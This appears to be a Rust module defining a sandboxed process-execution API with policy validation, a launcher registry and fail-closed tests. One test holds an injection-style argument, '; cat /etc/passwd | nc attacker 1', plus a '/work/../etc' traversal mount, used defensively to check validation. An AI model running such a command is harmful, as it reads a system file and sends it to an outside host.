1use crate::{ArgAtom, ProcessCancellation, ProgramRef, SealedBindings};
2use sim_kernel::{Error, Result};
3use std::{
4 collections::{BTreeMap, BTreeSet},
5 sync::Arc,
6};
7
8const MAX_MOUNTS: usize = 64;
9const MAX_STDIN: usize = 16 * 1024 * 1024;
10
11#[derive(Clone, Copy, Debug, PartialEq, Eq, PartialOrd, Ord)]
13pub enum SandboxControl {
14 Network,
16 Mounts,
18 Root,
20 Environment,
22 Identity,
24 Cpu,
26 Memory,
28 WallTime,
30 ProcessCount,
32 FileCount,
34 FileBytes,
36 Output,
38 Stdin,
40 ProcessTree,
42}
43
44#[derive(Clone, Copy, Debug, PartialEq, Eq)]
46pub enum SandboxRequirement {
47 Required,
49 BestEffort,
51}
52
53#[derive(Clone, Copy, Debug, PartialEq, Eq)]
55pub enum MountAccess {
56 ReadOnly,
58 Writable,
60}
61
62#[derive(Clone, Debug, PartialEq, Eq)]
64pub struct SandboxMount {
65 pub source: String,
67 pub guest_path: String,
69 pub access: MountAccess,
71}
72
73#[derive(Clone, Debug, PartialEq, Eq)]
75pub struct SandboxLimits {
76 pub cpu_seconds: u64,
78 pub memory_bytes: u64,
80 pub wall_time_ms: u64,
82 pub process_count: u64,
84 pub file_count: u64,
86 pub file_bytes: u64,
88 pub output_bytes: usize,
90 pub stdin_bytes: usize,
92}
93
94#[derive(Clone, Debug, PartialEq, Eq)]
96pub struct SandboxPolicy {
97 requirements: BTreeMap<SandboxControl, SandboxRequirement>,
98 mounts: Vec<SandboxMount>,
99 limits: SandboxLimits,
100}
101impl SandboxPolicy {
102 pub fn new(
104 requirements: impl IntoIterator<Item = (SandboxControl, SandboxRequirement)>,
105 mounts: Vec<SandboxMount>,
106 limits: SandboxLimits,
107 ) -> Result<Self> {
108 let requirements = requirements.into_iter().collect::<BTreeMap<_, _>>();
109 let all = [
110 SandboxControl::Network,
111 SandboxControl::Mounts,
112 SandboxControl::Root,
113 SandboxControl::Environment,
114 SandboxControl::Identity,
115 SandboxControl::Cpu,
116 SandboxControl::Memory,
117 SandboxControl::WallTime,
118 SandboxControl::ProcessCount,
119 SandboxControl::FileCount,
120 SandboxControl::FileBytes,
121 SandboxControl::Output,
122 SandboxControl::Stdin,
123 SandboxControl::ProcessTree,
124 ];
125 if all.iter().any(|c| !requirements.contains_key(c)) {
126 return Err(Error::Eval(
127 "sandbox policy must classify every control".into(),
128 ));
129 }
130 if mounts.len() > MAX_MOUNTS {
131 return Err(Error::Eval("too many sandbox mounts".into()));
132 }
133 let mut guests = BTreeSet::new();
134 for mount in &mounts {
135 if mount.source.is_empty()
136 || !mount.guest_path.starts_with('/')
137 || mount.guest_path.contains("..")
138 || mount.guest_path.contains('\0')
139 || !guests.insert(&mount.guest_path)
140 {
141 return Err(Error::Eval("invalid or duplicate sandbox mount".into()));
142 }
143 }
144 if limits.cpu_seconds == 0
145 || limits.memory_bytes == 0
146 || limits.wall_time_ms == 0
147 || limits.process_count == 0
148 || limits.file_count == 0
149 || limits.file_bytes == 0
150 || limits.output_bytes == 0
151 || limits.stdin_bytes == 0
152 || limits.stdin_bytes > MAX_STDIN
153 {
154 return Err(Error::Eval(
155 "sandbox limits must be non-zero and bounded".into(),
156 ));
157 }
158 Ok(Self {
159 requirements,
160 mounts,
161 limits,
162 })
163 }
164 pub fn requirements(&self) -> &BTreeMap<SandboxControl, SandboxRequirement> {
166 &self.requirements
167 }
168 pub fn mounts(&self) -> &[SandboxMount] {
170 &self.mounts
171 }
172 pub fn limits(&self) -> &SandboxLimits {
174 &self.limits
175 }
176}
177
178#[derive(Clone, Debug, PartialEq, Eq)]
180pub struct SandboxRequest {
181 pub program: ProgramRef,
183 pub argv: Vec<ArgAtom>,
185 pub environment: SealedBindings,
187 pub stdin: Vec<u8>,
189 pub policy: SandboxPolicy,
191}
192impl SandboxRequest {
193 pub fn new(
195 program: ProgramRef,
196 argv: Vec<ArgAtom>,
197 environment: SealedBindings,
198 stdin: Vec<u8>,
199 policy: SandboxPolicy,
200 ) -> Result<Self> {
201 if stdin.len() > policy.limits.stdin_bytes {
202 return Err(Error::Eval("sandbox stdin exceeds policy".into()));
203 }
204 Ok(Self {
205 program,
206 argv,
207 environment,
208 stdin,
209 policy,
210 })
211 }
212}
213
214#[derive(Clone, Debug, PartialEq, Eq)]
216pub struct SandboxEvidence {
217 pub control: SandboxControl,
219 pub achieved: bool,
221 pub detail: String,
223}
224#[derive(Clone, Debug, PartialEq, Eq)]
226pub struct SandboxReport {
227 pub launcher: String,
229 pub controls: Vec<SandboxEvidence>,
231 pub limit_hits: Vec<String>,
233 pub cleanup: String,
235}
236impl SandboxReport {
237 pub fn proves_required(&self, policy: &SandboxPolicy) -> bool {
239 policy.requirements.iter().all(|(control, requirement)| {
240 *requirement != SandboxRequirement::Required
241 || self
242 .controls
243 .iter()
244 .any(|e| e.control == *control && e.achieved && !e.detail.is_empty())
245 })
246 }
247}
248#[derive(Clone, Debug, PartialEq, Eq)]
250pub struct SandboxResult {
251 pub stdout: Vec<u8>,
253 pub stderr: Vec<u8>,
255 pub exit_code: i32,
257 pub report: SandboxReport,
259}
260#[derive(Clone, Debug, PartialEq, Eq)]
262pub struct SandboxRefusal {
263 pub launcher: String,
265 pub reason: String,
267 pub report: Option<SandboxReport>,
269}
270#[derive(Clone, Debug, PartialEq, Eq)]
272pub enum SandboxAttempt {
273 Completed(SandboxResult),
275 Refused(SandboxRefusal),
277 Stopped(SandboxReport),
279 Unknown(SandboxRefusal),
281}
282
283pub trait SandboxLauncher: Send + Sync {
285 fn id(&self) -> &str;
287 fn launch(
289 &self,
290 request: &SandboxRequest,
291 cancellation: &ProcessCancellation,
292 ) -> SandboxAttempt;
293}
294#[derive(Default)]
296pub struct LauncherRegistry(BTreeMap<String, Arc<dyn SandboxLauncher>>);
297impl LauncherRegistry {
298 pub fn register(&mut self, launcher: Arc<dyn SandboxLauncher>) -> Result<()> {
300 let id = launcher.id();
301 if id.is_empty() || self.0.contains_key(id) {
302 return Err(Error::Eval("invalid or duplicate sandbox launcher".into()));
303 }
304 self.0.insert(id.into(), launcher);
305 Ok(())
306 }
307 pub fn launch(
309 &self,
310 id: &str,
311 request: &SandboxRequest,
312 cancellation: &ProcessCancellation,
313 ) -> SandboxAttempt {
314 self.0.get(id).map_or_else(
315 || {
316 SandboxAttempt::Refused(SandboxRefusal {
317 launcher: id.into(),
318 reason: "sandbox launcher is not registered".into(),
319 report: None,
320 })
321 },
322 |v| v.launch(request, cancellation),
323 )
324 }
325}
326pub fn sandbox_exec(
328 registry: &LauncherRegistry,
329 launcher: &str,
330 request: &SandboxRequest,
331 cancellation: &ProcessCancellation,
332) -> Result<SandboxResult> {
333 match registry.launch(launcher, request, cancellation) {
334 SandboxAttempt::Completed(result) if result.report.proves_required(&request.policy) => {
335 Ok(result)
336 }
337 SandboxAttempt::Completed(_) => Err(Error::HostError(
338 "sandbox launcher claimed completion without required evidence".into(),
339 )),
340 attempt => Err(Error::HostError(format!("sandbox attempt: {attempt:?}"))),
341 }
342}
343
344#[cfg(test)]
345mod tests {
346 use super::*;
347 struct Fake(&'static str);
348 impl SandboxLauncher for Fake {
349 fn id(&self) -> &str {
350 self.0
351 }
352 fn launch(&self, request: &SandboxRequest, _: &ProcessCancellation) -> SandboxAttempt {
353 SandboxAttempt::Completed(SandboxResult {
354 stdout: vec![],
355 stderr: vec![],
356 exit_code: 0,
357 report: SandboxReport {
358 launcher: self.0.into(),
359 controls: request
360 .policy
361 .requirements
362 .keys()
363 .map(|control| SandboxEvidence {
364 control: *control,
365 achieved: true,
366 detail: "fake proof".into(),
367 })
368 .collect(),
369 limit_hits: vec![],
370 cleanup: "no descendants".into(),
371 },
372 })
373 }
374 }
375 struct Liar;
376 impl SandboxLauncher for Liar {
377 fn id(&self) -> &str {
378 "liar"
379 }
380 fn launch(&self, _: &SandboxRequest, _: &ProcessCancellation) -> SandboxAttempt {
381 SandboxAttempt::Completed(SandboxResult {
382 stdout: vec![],
383 stderr: vec![],
384 exit_code: 0,
385 report: SandboxReport {
386 launcher: "liar".into(),
387 controls: vec![],
388 limit_hits: vec![],
389 cleanup: String::new(),
390 },
391 })
392 }
393 }
394 fn policy() -> SandboxPolicy {
395 let controls = [
396 SandboxControl::Network,
397 SandboxControl::Mounts,
398 SandboxControl::Root,
399 SandboxControl::Environment,
400 SandboxControl::Identity,
401 SandboxControl::Cpu,
402 SandboxControl::Memory,
403 SandboxControl::WallTime,
404 SandboxControl::ProcessCount,
405 SandboxControl::FileCount,
406 SandboxControl::FileBytes,
407 SandboxControl::Output,
408 SandboxControl::Stdin,
409 SandboxControl::ProcessTree,
410 ];
411 SandboxPolicy::new(
412 controls
413 .into_iter()
414 .map(|c| (c, SandboxRequirement::Required)),
415 vec![],
416 SandboxLimits {
417 cpu_seconds: 1,
418 memory_bytes: 1,
419 wall_time_ms: 1,
420 process_count: 1,
421 file_count: 1,
422 file_bytes: 1,
423 output_bytes: 1,
424 stdin_bytes: 1,
425 },
426 )
427 .unwrap()
428 }
429 #[test]
430 fn registered_launchers_are_dispatch_independent_and_fail_closed() {
431 let request = SandboxRequest::new(
432 ProgramRef::new("tool").unwrap(),
433 vec![],
434 SealedBindings::empty(),
435 vec![],
436 policy(),
437 )
438 .unwrap();
439 let mut registry = LauncherRegistry::default();
440 registry.register(Arc::new(Fake("one"))).unwrap();
441 registry.register(Arc::new(Fake("two"))).unwrap();
442 assert_eq!(
443 sandbox_exec(®istry, "one", &request, &Default::default())
444 .unwrap()
445 .report
446 .launcher,
447 "one"
448 );
449 assert_eq!(
450 sandbox_exec(®istry, "two", &request, &Default::default())
451 .unwrap()
452 .report
453 .launcher,
454 "two"
455 );
456 assert!(sandbox_exec(®istry, "missing", &request, &Default::default()).is_err());
457 registry.register(Arc::new(Liar)).unwrap();
458 assert!(sandbox_exec(®istry, "liar", &request, &Default::default()).is_err());
459 }
460 #[test]
461 fn hostile_paths_stdin_and_arguments_are_validated_without_shell_parsing() {
462 let limits = SandboxLimits {
463 cpu_seconds: 1,
464 memory_bytes: 1,
465 wall_time_ms: 1,
466 process_count: 1,
467 file_count: 1,
468 file_bytes: 1,
469 output_bytes: 1,
470 stdin_bytes: 1,
471 };
472 let controls = [
473 SandboxControl::Network,
474 SandboxControl::Mounts,
475 SandboxControl::Root,
476 SandboxControl::Environment,
477 SandboxControl::Identity,
478 SandboxControl::Cpu,
479 SandboxControl::Memory,
480 SandboxControl::WallTime,
481 SandboxControl::ProcessCount,
482 SandboxControl::FileCount,
483 SandboxControl::FileBytes,
484 SandboxControl::Output,
485 SandboxControl::Stdin,
486 SandboxControl::ProcessTree,
487 ];
488 assert!(
489 SandboxPolicy::new(
490 controls
491 .into_iter()
492 .map(|c| (c, SandboxRequirement::Required)),
493 vec![SandboxMount {
494 source: "input".into(),
495 guest_path: "/work/../etc".into(),
496 access: MountAccess::ReadOnly
497 }],
498 limits.clone()
499 )
500 .is_err()
501 );
502 let policy = SandboxPolicy::new(
503 controls
504 .into_iter()
505 .map(|c| (c, SandboxRequirement::Required)),
506 vec![],
507 limits,
508 )
509 .unwrap();
510 assert!(
511 SandboxRequest::new(
512 ProgramRef::new("tool").unwrap(),
513 vec![],
514 SealedBindings::empty(),
515 vec![1, 2],
516 policy.clone()
517 )
518 .is_err()
519 );
520 let atom = ArgAtom::new("; cat /etc/passwd | nc attacker 1").unwrap();
521 let request = SandboxRequest::new(
522 ProgramRef::new("tool").unwrap(),
523 vec![atom],
524 SealedBindings::empty(),
525 vec![],
526 policy,
527 )
528 .unwrap();
529 assert_eq!(
530 request.argv[0].as_str(),
531 "; cat /etc/passwd | nc attacker 1"
532 );
533 }
534}
535